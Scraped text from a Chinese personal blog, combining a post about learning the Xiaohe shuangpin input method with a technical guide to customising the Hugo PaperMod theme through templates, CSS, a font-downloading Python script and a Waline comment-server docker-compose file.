回想起过去使用全拼的体验:按键次数太多,输入一段文字要疯狂敲击键盘,就像在玩高难度的音游,一天下来,手指会明显感觉到疲惫。

所以,我决定尝试一下双拼。
在搜索双拼资料时,我在知乎上看到了韦易笑的回答2,他详细讲解了双拼的优势、学习方法和实践经验。
看完这篇回答,我大致了解了双拼的规则,于是开始在手机上用双拼小程序3进行练习。
刚开始,我需要不停地看键位提示才能找到对应的韵母。后来,我将每个按键上对应的声母和韵母都找了一个自己熟悉的字进行关联。比如 Q 键,对应声母 q 和韵母 iu,连在一起就是球(qiu),W 是伟(wei),R 是软(ruan),以此类推。
小鹤记忆口诀,来自小鹤双拼官网
后来才发现,这不就是助记口诀吗?
但是相比背诵助记口诀,更推荐像我这样,自定义一个适合自己的口诀,使用自己熟悉的字去关联每个按键,而不是死记硬背。
我用这种方式练习了一个多小时,就可以不看布局盲打了,虽然速度还很慢,但基本适应了双拼的规则。这个阶段打字时,每个字都需要在脑海中先拆解声母和韵母,再回忆韵母的位置。尤其是 sh/ch/zh 这几个声母,要特别留意。
周一上班,我就把输入法改为了双拼。刚开始还能应付,到了下午,找我的人越来越多,就有点满头大汗了。就像打游戏的时候,那种脑子里全是操作,但手跟不上的无力感。

为了避免前期打字速度下降影响工作效率,我采取了一些应对措施。
遇到紧急情况时(主要是我很急),我会优先使用语音转文字。少数情况会临时切回全拼,但非常不推荐这样做,会影响手感。
到了周五,除了一些生僻字以外,已经可以无痛地日常交流了。这几天跟别人聊天,等待回复时,我会反复练习刚刚发送的常用词和短语,从而形成肌肉记忆。
现在,无论是打字速度还是准确度,对比一个月前都有很大提升,即使打错了也能凭借肌肉记忆迅速地修正。
不过,目前我使用双拼的效率还比不上之前的全拼,毕竟用了十几年全拼,而双拼才一个月。但按键次数减少是实实在在的,输入长句时那种冗长的感觉消失了。
如果你还在犹豫是否要使用双拼,不妨先看看前面提到的知乎回答2。然后切换到「小鹤双拼」,打开纸砚4的随机模式练习一会儿,感受一下双拼与全拼的不同。相信你很快就会有答案。

卡瓦邦噶的博客:0.01% 的概率超时问题 ↩︎
韦易笑的知乎回答:用了很久的全拼改为双拼值得吗? ↩︎ ↩︎
环境信息:
对 PaperMod 的 Home-Info 布局做了优化,增加了头像展示和图标悬浮高亮效果,支持响应式布局。

layouts/partials/home_info.html 文件:{{- with site.Params.homeInfoParams }}
<article class="first-entry home-info">
<div class="home-info-container home-info-main-container">
<div class="home-info-content-wrapper">
{{- with site.Params.homeInfoParams }}
<div class="home-info-avatar home-info-avatar-container">
{{- if .ImageUrl -}}
{{- $imgSrc := .ImageUrl | absURL }}
{{- $img := resources.Get .ImageUrl }}
{{- if $img }}
{{- $size := printf "%dx%d" (.ImageWidth | default 100) (.ImageHeight | default 100) }}
{{- $img = $img.Resize $size }}
{{- $imgSrc = $img.Permalink }}
{{- end }}
<img id="home-info-avatar"
draggable="false"
src="{{ $imgSrc }}"
alt="{{ .Title | default "profile image" }}"
height="{{ .ImageHeight | default 100 }}"
width="{{ .ImageWidth | default 100 }}"
class="home-info-avatar-img" />
{{- end }}
</div>
{{- end }}
<div class="entry-main home-info-text-content">
<header class="entry-header">
<h1>{{ .Title | markdownify }}</h1>
</header>
<div class="entry-content">
{{ .Content | markdownify }}
</div>
</div>
</div>
<footer class="entry-footer">
{{ partial "social_icons.html" (dict "align" site.Params.homeInfoParams.AlignSocialIconsTo) }}
</footer>
</div>
</article>
{{- end -}}
assets/css/extended/blank.css 文件中添加样式:/* Home Info Layout Styles */
.home-info-main-container {
display: flex;
flex-direction: column;
gap: 24px;
max-width: 100%;
}
.home-info-content-wrapper {
display: flex;
align-items: center;
gap: 32px;
}
.home-info-avatar-container {
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
position: relative;
}
.home-info-avatar-container::after {
content: '';
position: absolute;
right: -16px;
top: 50%;
transform: translateY(-50%);
width: 1px;
height: 60px;
background-color: #e5e5e5;
}
.home-info-text-content {
flex: 1;
display: flex;
flex-direction: column;
justify-content: center;
margin-top: 8px;
}
.home-info-avatar-img {
border-radius: 50% !important;
border: 2px solid #f0f0f0;
transition: transform 0.2s ease;
}
.home-info-avatar-img:hover {
transform: scale(1.02);
}
/* 响应式设计 */
@media (max-width: 768px) {
.home-info-content-wrapper {
flex-direction: column;
gap: 20px;
text-align: center;
}
.home-info-text-content {
margin-top: 0;
}
/* 移动端隐藏分隔线 */
.home-info-avatar-container::after {
display: none;
}
/* 移动端社交图标居中 */
.home-info .entry-footer {
display: flex;
justify-content: center;
align-items: center;
}
}
/* 图标悬浮高亮 */
.social-icons svg:hover {
transition: 0.15s;
}
.social-icons a[href*='mailto']:hover svg {
color: #ea4335 !important;
}
.social-icons a[href*='github']:hover svg {
color: #7c3aed !important;
}
.social-icons a[href*='index.xml']:hover svg {
color: #ff6600 !important;
}
config.yaml 中配置头像地址(支持本地或远程图片):params:
homeInfoParams:
Title: "她和她的猫"
ImageUrl: /images/avatar.jpeg
Content: 那一天,我被她抱回了家。从此以后,我成了她的猫。
在 PaperMod 主题中,默认会为主页的文章列表生成分页(/,/page/2/…),这导致主页和文章列表页面(/posts/,/posts/page/2/…)内容重复,产生了大量冗余页面。
为了解决这个问题,我修改了主页布局,让主页只展示最新的几篇文章,不再生成分页。可以通过「查看更多」按钮跳转到文章列表页面。
Paginator pages 从 62 降到 43,减少了 19 个冗余页面
创建 layouts/index.html 文件,覆盖主题的首页模板。
{{- define "main" }}
{{- if site.Params.profileMode.enabled }}
{{- partial "index_profile.html" . }}
{{- else }} {{/* if not profileMode */}}
{{- if .Content }}
<div class="post-content">
{{- if not (.Param "disableAnchoredHeadings") }}
{{- partial "anchored_headings.html" .Content -}}
{{- else }}{{ .Content }}{{ end }}
</div>
{{- end }}
{{- $pages := where site.RegularPages "Type" "in" site.Params.mainSections }}
{{- $pages = where $pages "Params.hiddenInHomeList" "!=" "true" }}
{{- if site.Params.homeInfoParams }}
{{- partial "home_info.html" . }}
{{- end }}
{{- $displayPages := first 3 $pages }}
{{- range $index, $page := $displayPages }}
{{- $class := "post-entry" }}
{{- $user_preferred := or site.Params.disableSpecial1stPost site.Params.homeInfoParams }}
{{- if (and (eq $index 0) (not $user_preferred)) }}
{{- $class = "first-entry" }}
{{- end }}
<article class="{{ $class }}">
{{- $isHidden := (.Param "cover.hiddenInList") | default (.Param "cover.hidden") | default false }}
{{- partial "cover.html" (dict "cxt" . "IsSingle" false "isHidden" $isHidden) }}
<header class="entry-header">
<h2 class="entry-hint-parent">
{{- .Title }}
{{- if .Draft }}
<span class="entry-hint" title="Draft">
<svg xmlns="http://www.w3.org/2000/svg" height="20" viewBox="0 -960 960 960" fill="currentColor">
<path
d="M160-410v-60h300v60H160Zm0-165v-60h470v60H160Zm0-165v-60h470v60H160Zm360 580v-123l221-220q9-9 20-13t22-4q12 0 23 4.5t20 13.5l37 37q9 9 13 20t4 22q0 11-4.5 22.5T862.09-380L643-160H520Zm300-263-37-37 37 37ZM580-220h38l121-122-18-19-19-18-122 121v38Zm141-141-19-18 37 37-18-19Z" />
</svg>
</span>
{{- end }}
</h2>
</header>
{{- if (ne (.Param "hideSummary") true) }}
<div class="entry-content">
<p>{{ .Summary | plainify | htmlUnescape }}{{ if .Truncated }}...{{ end }}</p>
</div>
{{- end }}
{{- if not (.Param "hideMeta") }}
<footer class="entry-footer">
{{- partial "post_meta.html" . -}}
</footer>
{{- end }}
<a class="entry-link" aria-label="post link to {{ .Title | plainify }}" href="{{ .Permalink }}"></a>
</article>
{{- end }}
{{- if gt (len $pages) 3 }}
<footer class="page-footer">
<nav class="pagination">
<a class="next" href="https://her-cat.com/posts/">
查看更多 »
</a>
</nav>
</footer>
{{- end }}
{{- end }}{{/* end profileMode */}}
{{- end }}{{- /* end main */ -}}
PaperMod 的文章列表默认是图片在上、文字在下,看着信息密度很低。
调整了很久之后,最后选择了左右布局:文字内容在左,封面图片在右,既增加了视觉吸引力,又保持了页面的简洁性。
左:修改前,右:修改后
layouts/_default/list.html 文件:{{- define "main" }}
{{- if (and site.Params.profileMode.enabled .IsHome) }}
{{- partial "index_profile.html" . }}
{{- else }} {{/* if not profileMode */}}
{{- if not .IsHome | and .Title }}
<header class="page-header">
{{- partial "breadcrumbs.html" . }}
<h1>
{{ .Title }}
{{- if and (or (eq .Kind `term`) (eq .Kind `section`)) (.Param "ShowRssButtonInSectionTermList") }}
{{- with .OutputFormats.Get "rss" }}
<a href="{{ .RelPermalink }}" title="RSS" aria-label="RSS">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"
stroke-linecap="round" stroke-linejoin="round" height="23">
<path d="M4 11a9 9 0 0 1 9 9" />
<path d="M4 4a16 16 0 0 1 16 16" />
<circle cx="5" cy="19" r="1" />
</svg>
</a>
{{- end }}
{{- end }}
</h1>
{{- if .Description }}
<div class="post-description">
{{ .Description | markdownify }}
</div>
{{- end }}
</header>
{{- end }}
{{- if .Content }}
<div class="post-content">
{{- if not (.Param "disableAnchoredHeadings") }}
{{- partial "anchored_headings.html" .Content -}}
{{- else }}{{ .Content }}{{ end }}
</div>
{{- end }}
{{- $pages := union .RegularPages .Sections }}
{{- if .IsHome }}
{{- $pages = where site.RegularPages "Type" "in" site.Params.mainSections }}
{{- $pages = where $pages "Params.hiddenInHomeList" "!=" "true" }}
{{- end }}
{{- $paginator := .Paginate $pages }}
{{- if and .IsHome site.Params.homeInfoParams (eq $paginator.PageNumber 1) }}
{{- partial "home_info.html" . }}
{{- end }}
{{- $term := .Data.Term }}
{{- range $index, $page := $paginator.Pages }}
{{- $class := "post-entry" }}
{{- $user_preferred := or site.Params.disableSpecial1stPost site.Params.homeInfoParams }}
{{- if (and $.IsHome (eq $paginator.PageNumber 1) (eq $index 0) (not $user_preferred)) }}
{{- $class = "first-entry" }}
{{- else if $term }}
{{- $class = "post-entry tag-entry" }}
{{- end }}
<article class="{{ $class }}">
<div class="entry-content-wrapper">
<header class="entry-header">
<h2 class="entry-hint-parent">
{{- .Title }}
{{- if .Draft }}
<span class="entry-hint" title="Draft">
<svg xmlns="http://www.w3.org/2000/svg" height="20" viewBox="0 -960 960 960" fill="currentColor">
<path
d="M160-410v-60h300v60H160Zm0-165v-60h470v60H160Zm0-165v-60h470v60H160Zm360 580v-123l221-220q9-9 20-13t22-4q12 0 23 4.5t20 13.5l37 37q9 9 13 20t4 22q0 11-4.5 22.5T862.09-380L643-160H520Zm300-263-37-37 37 37ZM580-220h38l121-122-18-19-19-18-122 121v38Zm141-141-19-18 37 37-18-19Z" />
</svg>
</span>
{{- end }}
</h2>
</header>
{{- if (ne (.Param "hideSummary") true) }}
<div class="entry-content">
<p>{{ .Summary | plainify | htmlUnescape }}{{ if .Truncated }}...{{ end }}</p>
</div>
{{- end }}
{{- if not (.Param "hideMeta") }}
<footer class="entry-footer">
{{- partial "post_meta.html" . -}}
</footer>
{{- end }}
</div>
<div class="entry-cover-wrapper">
{{- $isHidden := (.Param "cover.hiddenInList") | default (.Param "cover.hidden") | default false }}
{{- partial "cover.html" (dict "cxt" . "IsSingle" false "isHidden" $isHidden) }}
</div>
<a class="entry-link" aria-label="post link to {{ .Title | plainify }}" href="{{ .Permalink }}"></a>
</article>
{{- end }}
{{- if gt $paginator.TotalPages 1 }}
<footer class="page-footer">
<nav class="pagination">
{{- if $paginator.HasPrev }}
<a class="prev" href="{{ $paginator.Prev.URL | absURL }}">
« {{ i18n "prev_page" }}
{{- if (.Param "ShowPageNums") }}
{{- sub $paginator.PageNumber 1 }}/{{ $paginator.TotalPages }}
{{- end }}
</a>
{{- end }}
{{- if $paginator.HasNext }}
<a class="next" href="{{ $paginator.Next.URL | absURL }}">
{{- i18n "next_page" }}
{{- if (.Param "ShowPageNums") }}
{{- add 1 $paginator.PageNumber }}/{{ $paginator.TotalPages }}
{{- end }} »
</a>
{{- end }}
</nav>
</footer>
{{- end }}
{{- end }}{{/* end profileMode */}}
{{- end }}{{- /* end main */ -}}
layouts/index.html 文件,那么也需要修改该文件中文章列表的部分,修改内容与上面一样。否则可以直接跳过这一步骤。{{- define "main" }}
{{- if site.Params.profileMode.enabled }}
{{- partial "index_profile.html" . }}
{{- else }} {{/* if not profileMode */}}
{{- if .Content }}
<div class="post-content">
{{- if not (.Param "disableAnchoredHeadings") }}
{{- partial "anchored_headings.html" .Content -}}
{{- else }}{{ .Content }}{{ end }}
</div>
{{- end }}
{{- $pages := where site.RegularPages "Type" "in" site.Params.mainSections }}
{{- $pages = where $pages "Params.hiddenInHomeList" "!=" "true" }}
{{- if site.Params.homeInfoParams }}
{{- partial "home_info.html" . }}
{{- end }}
{{- $displayPages := first 3 $pages }}
{{- range $index, $page := $displayPages }}
{{- $class := "post-entry" }}
{{- $user_preferred := or site.Params.disableSpecial1stPost site.Params.homeInfoParams }}
{{- if (and (eq $index 0) (not $user_preferred)) }}
{{- $class = "first-entry" }}
{{- end }}
<article class="{{ $class }}">
<div class="entry-content-wrapper">
<header class="entry-header">
<h2 class="entry-hint-parent">
{{- .Title }}
{{- if .Draft }}
<span class="entry-hint" title="Draft">
<svg xmlns="http://www.w3.org/2000/svg" height="20" viewBox="0 -960 960 960" fill="currentColor">
<path
d="M160-410v-60h300v60H160Zm0-165v-60h470v60H160Zm0-165v-60h470v60H160Zm360 580v-123l221-220q9-9 20-13t22-4q12 0 23 4.5t20 13.5l37 37q9 9 13 20t4 22q0 11-4.5 22.5T862.09-380L643-160H520Zm300-263-37-37 37 37ZM580-220h38l121-122-18-19-19-18-122 121v38Zm141-141-19-18 37 37-18-19Z" />
</svg>
</span>
{{- end }}
</h2>
</header>
{{- if (ne (.Param "hideSummary") true) }}
<div class="entry-content">
<p>{{ .Summary | plainify | htmlUnescape }}{{ if .Truncated }}...{{ end }}</p>
</div>
{{- end }}
{{- if not (.Param "hideMeta") }}
<footer class="entry-footer">
{{- partial "post_meta.html" . -}}
</footer>
{{- end }}
</div>
<div class="entry-cover-wrapper">
{{- $isHidden := (.Param "cover.hiddenInList") | default (.Param "cover.hidden") | default false }}
{{- partial "cover.html" (dict "cxt" . "IsSingle" false "isHidden" $isHidden) }}
</div>
<a class="entry-link" aria-label="post link to {{ .Title | plainify }}" href="{{ .Permalink }}"></a>
</article>
{{- end }}
{{- if gt (len $pages) 3 }}
<footer class="page-footer">
<nav class="pagination">
<a class="next" href="https://her-cat.com/posts/">
查看更多 »
</a>
</nav>
</footer>
{{- end }}
{{- end }}{{/* end profileMode */}}
{{- end }}{{- /* end main */ -}}
assets/css/extended/blank.css 中添加相关样式:/* === 文章列表左右布局样式 === */
.post-entry {
display: flex;
gap: var(--gap);
align-items: stretch;
}
/* 左侧内容区域 */
.post-entry .entry-content-wrapper {
flex: 1;
display: flex;
flex-direction: column;
min-width: 0;
}
/* 右侧图片区域 */
.post-entry .entry-cover-wrapper {
flex-shrink: 0;
width: 225px;
}
/* 隐藏无图片容器 */
.post-entry .entry-cover-wrapper:empty,
.post-entry .entry-cover-wrapper:not(:has(.entry-cover)) {
display: none;
}
/* 图片样式 - 统一宽高比 */
.post-entry .entry-cover {
margin-bottom: 0;
aspect-ratio: 2 / 1;
overflow: hidden;
}
.post-entry .entry-cover img,
.post-entry .entry-cover picture,
.post-entry .entry-cover picture img {
width: 100%;
height: 100%;
object-fit: cover;
border-radius: var(--radius);
}
/* 内容间距 */
.post-entry .entry-header {
margin-bottom: 8px;
}
.post-entry .entry-content {
margin: 0 0 8px 0;
}
.post-entry .entry-footer {
margin-top: auto;
}
/* 移动端 */
@media (max-width: 640px) {
/* 移动端隐藏封面图片 */
.post-entry .entry-cover-wrapper {
display: none;
}
}
config.yaml 中启用封面: cover:
hiddenInList: false # 在文章列表和首页显示封面
hiddenInSingle: true # 在单页隐藏封面
Hugo 默认的字数统计对中日韩(CJK)文字不准确,需要在 config.yaml 中开启 hasCJKLanguage 选项:
hasCJKLanguage: true
使用 PageSpeed Insights 检测博客时,发现 CLS(Cumulative Layout Shift,累积布局偏移)分数偏高,页面加载时图片会造成明显的抖动现象。
CLS 是 Google 评估网站用户体验的重要指标之一,分数过高通常是因为图片加载时浏览器不知道应该预留多大的空间,等图片加载完成后就会把下面的内容挤下去,导致页面跳动。
解决办法就是为图片添加正确的宽高属性,让浏览器在加载前预留空间。
创建 layouts/_default/_markup/render-image.html 文件:
{{- $u := urls.Parse .Destination -}}
{{- $src := $u.String -}}
{{- $img := "" -}}
{{- $width := "" -}}
{{- $height := "" -}}
{{- $aspectRatio := "" -}}
{{- if not $u.IsAbs -}}
{{- $path := strings.TrimPrefix "./" $u.Path -}}
{{- /* 查找图片:优先页面资源,其次 assets 目录 */ -}}
{{- $img = or (.PageInner.Resources.Get $path) (resources.Get (strings.TrimPrefix "/" $path)) -}}
{{- if $img -}}
{{- /* 获取图片基本信息 */ -}}
{{- $src = $img.RelPermalink -}}
{{- /* 只对栅格图片获取宽高,SVG 跳过 */ -}}
{{- if ne $img.MediaType.SubType "svg" -}}
{{- /* 确保宽高有效(大于 0) */ -}}
{{- if and (gt $img.Width 0) (gt $img.Height 0) -}}
{{- $width = printf "%d" $img.Width -}}
{{- $height = printf "%d" $img.Height -}}
{{- $aspectRatio = printf "%.4f" (div (float $img.Width) (float $img.Height)) -}}
{{- end -}}
{{- end -}}
{{- /* 保留原始 URL 的 query 和 fragment */ -}}
{{- with $u.RawQuery -}}
{{- $src = printf "%s?%s" $src . -}}
{{- end -}}
{{- with $u.Fragment -}}
{{- $src = printf "%s#%s" $src . -}}
{{- end -}}
{{- else -}}
{{- /* 如果找不到,保持原始路径(static 目录) */ -}}
{{- $src = $u.String -}}
{{- end -}}
{{- end -}}
{{- /* 设置基础属性 */ -}}
{{- $attributes := dict "alt" .Text "src" $src "loading" "lazy" "decoding" "async" -}}
{{- /* 添加 title 属性(如果存在) */ -}}
{{- with .Title -}}
{{- $attributes = merge $attributes (dict "title" (. | transform.HTMLEscape)) -}}
{{- end -}}
{{- /* 如果获取到了尺寸信息,设置宽高和宽高比 */ -}}
{{- if and $width $height -}}
{{- $attributes = merge $attributes (dict "width" $width "height" $height) -}}
{{- $style := printf "max-width: 100%%; height: auto; aspect-ratio: %s;" $aspectRatio -}}
{{- $attributes = merge $attributes (dict "style" $style) -}}
{{- else -}}
{{- /* 如果没有尺寸信息,至少保持响应式 */ -}}
{{- $attributes = merge $attributes (dict "style" "max-width: 100%; height: auto;") -}}
{{- end -}}
{{- /* 合并用户自定义属性 */ -}}
{{- $attributes = merge .Attributes $attributes -}}
{{- if .Title -}}
<figure>
<img
{{- range $k, $v := $attributes -}}
{{- if $v -}}
{{- printf " %s=%q" $k $v | safeHTMLAttr -}}
{{- end -}}
{{- end -}}>
<figcaption><p>{{ .Title | markdownify }}</p></figcaption>
</figure>
{{- else -}}
<img
{{- range $k, $v := $attributes -}}
{{- if $v -}}
{{- printf " %s=%q" $k $v | safeHTMLAttr -}}
{{- end -}}
{{- end -}}>
{{- end -}}
提示:图片需要放在文章同目录(Page Bundle)或
assets目录下,否则无法自动获取尺寸。
对字体、排版、间距等进行了优化,主要借鉴了 Dvel 和 atpX 的博客。
首先引入 Inter 字体,在 layouts/partials/extend_head.html 中添加:
<!-- Inter 字体引入 -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;700&display=swap" rel="stylesheet">
接下来创建 assets/css/extended/reading.css 文件,定义详细的样式规则来优化文章排版、代码块、表格等元素的显示效果:
/* === 1. CSS 变量定义 === */
:root {
/* 颜色 */
--primary: #1a1b1c;
--content: #333435;
--secondary: #666;
--sec-color: #f2f3f4;
--link-color: #2d8cdc;
--code-bg: #f5f5f5;
--sec-note-color: #6e6e6e;
/* 字体 */
--font-fallback: -apple-system, BlinkMacSystemFont, system-ui, sans-serif, 'Color Emoji';
--font-family: 'Inter', var(--font-fallback);
--code-font-family: 'Fira Code', Menlo, 'Lucida Console', 'DejaVu Sans Mono', var(--font-fallback);
}
/* 暗色模式 */
.dark {
--primary: #f2f2f2;
--content: #e3e3e3;
--sec-color: #2A2C2B;
--sec-note-color: #808080;
}
/* === 2. 全局字体设置 === */
body {
font-family: var(--font-family);
font-size: 18px;
margin: 0;
}
/* 标题字重 */
h1, h2, h3, h4, h5, h6 {
font-weight: 700;
}
/* 代码字体 */
.post-content code,
.post-content code span {
font-family: var(--code-font-family);
}
/* === 3. 文章标题样式 === */
.post-title {
font-size: 34px;
margin: 8px 0;
}
.post-content h1,
.post-content h2,
.post-content h3,
.post-content h4,
.post-content h5,
.post-content h6 {
margin-bottom: 18px;
font-weight: 600;
}
.post-content h1 {
margin-top: 48px;
padding-bottom: 13px;
border-bottom: 1px solid var(--sec-color);
}
.post-content h2 {
font-size: 24px;
margin-top: 48px;
padding-bottom: 13px;
border-bottom: 1px solid var(--sec-color);
}
.post-content h3 {
font-size: 22px;
margin-top: 32px;
}
.post-content h4 {
font-size: 20px;
margin-top: 23px;
}
.post-content h5 {
font-size: 16px;
margin-top: 18px;
}
.post-content h6 {
font-size: 14px;
margin-top: 16px;
}
/* === 4. 正文样式 === */
.post-content {
line-height: 1.86;
}
.post-content p,
.post-content blockquote,
.post-content figure,
.post-content table {
margin: 18px 0;
}
.post-content blockquote {
color: var(--sec-note-color);
}
.post-content hr {
margin: 64px 128px;
}
.post-content ul,
.post-content ol,
.post-content dl,
.post-content li {
margin: 8px 0;
}
/* === 5. 链接样式 === */
.post-content a {
color: var(--link-color);
box-shadow: none;
text-decoration: none;
}
.post-content a:hover {
text-decoration: underline;
}
/* === 6. 行内代码样式 === */
.post-content code {
margin: unset;
padding: 5px 7px;
border-radius: 8px;
}
/* === 6.5. 折叠块样式 === */
.post-content details summary {
cursor: zoom-in;
user-select: none;
}
.post-content details[open] summary {
cursor: zoom-out;
}
/* === 7. 图片样式 === */
.post-content img {
margin: auto;
max-width: 100%;
height: auto;
transition: opacity 0.3s ease;
}
.post-content figure {
margin: 27px 0;
text-align: center;
}
.post-content figure img {
border-radius: 8px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
transition: transform 0.2s ease, box-shadow 0.2s ease;
}
.post-content figure img:hover {
transform: translateY(-2px);
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.15);
}
.post-content figcaption {
margin-top: 9px;
font-size: 16px;
color: var(--secondary);
font-style: italic;
}
/* === 8. 移动端响应式优化 === */
@media (max-width: 768px) {
.post-content img {
border-radius: 4px;
}
.post-content figure img:hover {
transform: none;
}
}
/* === 9. 防止滚动条导致页面抖动 === */
html {
overflow-y: scroll;
}
:root {
overflow-y: auto;
overflow-x: hidden;
}
:root body {
position: absolute;
width: 100vw;
overflow: hidden;
}
上面使用了 Inter 字体来优化阅读体验,但直接使用 Google Fonts 在国内访问会遇到加载缓慢甚至超时的问题,导致字体加载失败或页面渲染阻塞。因此需要将字体文件下载到本地托管,既能提升访问速度,也能保护用户隐私。
download-fonts.py 脚本,自动下载字体并生成本地 CSS:#!/usr/bin/env python3
"""
下载 Google Fonts 到本地目录
使用方法: python3 download-fonts.py
"""
import os
import re
import requests
from pathlib import Path
from urllib.parse import urlparse
# 配置
GOOGLE_FONTS_URL = "https://fonts.googleapis.com/css2?family=Inter:wght@400;700&display=swap"
STATIC_DIR = Path("static")
FONTS_DIR = STATIC_DIR / "fonts" # 字体文件放在 static 目录,Hugo 会自动复制
CSS_DIR = Path("assets") / "css" / "extended" # CSS 放在 assets 目录
OUTPUT_CSS = CSS_DIR / "fonts.css"
# 创建必要的目录
FONTS_DIR.mkdir(parents=True, exist_ok=True)
CSS_DIR.mkdir(parents=True, exist_ok=True)
def download_file(url, dest_path):
"""下载文件到指定路径"""
print(f"下载: {url}")
response = requests.get(url, timeout=30)
response.raise_for_status()
with open(dest_path, 'wb') as f:
f.write(response.content)
print(f"保存到: {dest_path}")
return dest_path
def get_google_fonts_css():
"""获取 Google Fonts CSS"""
print(f"获取 Google Fonts CSS: {GOOGLE_FONTS_URL}")
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
response = requests.get(GOOGLE_FONTS_URL, headers=headers, timeout=30)
response.raise_for_status()
return response.text
def extract_font_urls(css_content):
"""从 CSS 中提取字体文件 URL"""
pattern = r'url\((https://[^)]+)\)'
urls = re.findall(pattern, css_content)
return urls
def download_fonts(css_content):
"""下载所有字体文件并替换 CSS 中的 URL"""
font_urls = extract_font_urls(css_content)
if not font_urls:
print("❌ 未找到字体文件 URL")
return css_content
print(f"找到 {len(font_urls)} 个字体文件")
for idx, url in enumerate(font_urls, 1):
parsed = urlparse(url)
url_path = parsed.path
ext = os.path.splitext(url_path)[1] or '.woff2'
filename = f"inter-{idx}{ext}"
local_path = FONTS_DIR / filename
try:
download_file(url, local_path)
relative_url = f"/fonts/{filename}"
css_content = css_content.replace(url, relative_url)
except Exception as e:
print(f"❌ 下载失败: {url}")
print(f" 错误: {e}")
return css_content
def generate_local_css():
"""生成本地字体 CSS 文件"""
print("\n" + "="*50)
print("开始下载 Google Fonts")
print("="*50 + "\n")
try:
css_content = get_google_fonts_css()
print(f"✅ 成功获取 CSS (长度: {len(css_content)} 字节)\n")
local_css = download_fonts(css_content)
header = """/*
* Google Fonts - Inter
* 本地托管版本,自动生成于 download-fonts.py
*/
"""
local_css = header + local_css
with open(OUTPUT_CSS, 'w', encoding='utf-8') as f:
f.write(local_css)
print(f"\n✅ CSS 文件已保存到: {OUTPUT_CSS}")
print(f"✅ 字体文件已保存到: {FONTS_DIR}/")
print("\n重新构建网站: hugo --gc --minify\n")
except Exception as e:
print(f"\n❌ 错误: {e}")
import traceback
traceback.print_exc()
if __name__ == "__main__":
try:
import requests
except ImportError:
print("❌ 请先安装 requests 库: pip install requests")
exit(1)
generate_local_css()
# 1. 安装依赖
pip install requests
# 2. 运行脚本
python3 download-fonts.py
脚本会自动:
static/fonts/ 目录assets/css/extended/fonts.cssextended 目录中的 CSSlayouts/partials/extend_head.html,移除 Google Fonts 的引用,改用本地字体预加载:- <!-- Inter 字体引入 -->
- <link rel="preconnect" href="https://fonts.googleapis.com">
- <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;700&display=swap" rel="stylesheet">
+ <!-- 预加载关键字体文件,提升首屏渲染速度 -->
+ <link rel="preload" href="https://her-cat.com/fonts/inter-7.woff2" as="font" type="font/woff2" crossorigin>
通过 preload 提示浏览器优先加载最常用的字体文件(inter-7.woff2),避免字体加载延迟导致的页面重排。
为了方便快速查看相关内容,我在文章标题下方的元数据区域增加了分类和系列的链接。
layouts/partials/post_meta.html 文件:{{- $scratch := newScratch }}
{{- if not .Date.IsZero -}}
{{- $scratch.Add "meta" (slice (printf "<span title='%s'>%s</span>" (.Date) (.Date | time.Format (default "January 2, 2006" site.Params.DateFormat)))) }}
{{- end }}
{{- if (.Param "ShowReadingTime") -}}
{{- $scratch.Add "meta" (slice (i18n "read_time" .ReadingTime | default (printf "%d min" .ReadingTime))) }}
{{- end }}
{{- if (.Param "ShowWordCount") -}}
{{- $scratch.Add "meta" (slice (i18n "words" .WordCount | default (printf "%d words" .WordCount))) }}
{{- end }}
{{- if not (.Param "hideAuthor") -}}
{{- with (partial "author.html" .) }}
{{- $scratch.Add "meta" (slice .) }}
{{- end }}
{{- end }}
{{- $categories := .Language.Params.Taxonomies.category | default "categories" }}
{{- with ($.GetTerms $categories) }}
{{- $categoryLinks := slice }}
{{- range . }}
{{- $categoryLinks = $categoryLinks | append (printf "<a href=\"%s\">%s</a>" .Permalink .LinkTitle) }}
{{- end }}
{{- $categoryString := delimit $categoryLinks " " | safeHTML }}
{{- $scratch.Add "meta" (slice (string $categoryString)) }}
{{- end }}
{{- $series := .Language.Params.Taxonomies.series | default "series" }}
{{- with ($.GetTerms $series) }}
{{- $seriesLinks := slice }}
{{- range . }}
{{- $seriesLinks = $seriesLinks | append (printf "<a href=\"%s\">%s</a>" .Permalink .LinkTitle) }}
{{- end }}
{{- $seriesString := delimit $seriesLinks " " | safeHTML }}
{{- $scratch.Add "meta" (slice (string $seriesString)) }}
{{- end }}
{{- with ($scratch.Get "meta") }}
{{- delimit . " · " | safeHTML -}}
{{- end -}}
assets/css/extended/blank.css 中添加以下样式:.post-meta a,
.archive-meta a,
.entry-footer a {
color: var(--secondary) !important;
text-decoration: none;
transition: color 0.2s ease;
}
.post-meta a:hover,
.archive-meta a:hover,
.entry-footer a:hover {
color: var(--primary);
text-decoration: underline;
}
Waline 是一款简洁、安全的评论系统,提供了多种部署方式。在体验了 LeanCloud 和 Vercel 这两种无服务部署方式后,发现速度太慢,最后用 Docker 自建了服务。
如果你也想使用 Docker 部署服务端,可以参考我的 docker-compose.yaml:
services:
waline:
container_name: waline
image: lizheming/waline:latest
restart: always
ports:
- 8360:8360
volumes:
- ${PWD}/data:/app/data
environment:
# 时区设置
TZ: 'Asia/Shanghai'
# 数据库配置(使用 SQLite)
SQLITE_PATH: '/app/data'
# 用户认证配置
JWT_TOKEN: '用户登录密钥,随机字符串即可'
# 站点信息
SITE_NAME: '她和她的猫'
SITE_URL: 'https://her-cat.com'
SECURE_DOMAINS: 'her-cat.com'
# 邮件通知配置
AUTHOR_EMAIL: '[email protected]'
SMTP_SERVICE: '163'
SMTP_USER: '[email protected]'
SMTP_PASS: '邮箱密码'
SMTP_SECURE: 'true'
SENDER_NAME: '她和她的猫'
# 隐私保护配置
DISABLE_USERAGENT: true
DISABLE_REGION: true
# 头像服务配置
GRAVATAR_STR: 'https://cn.cravatar.com/avatar/{{mail|lower|trim|md5}}?s=150&d=retro'
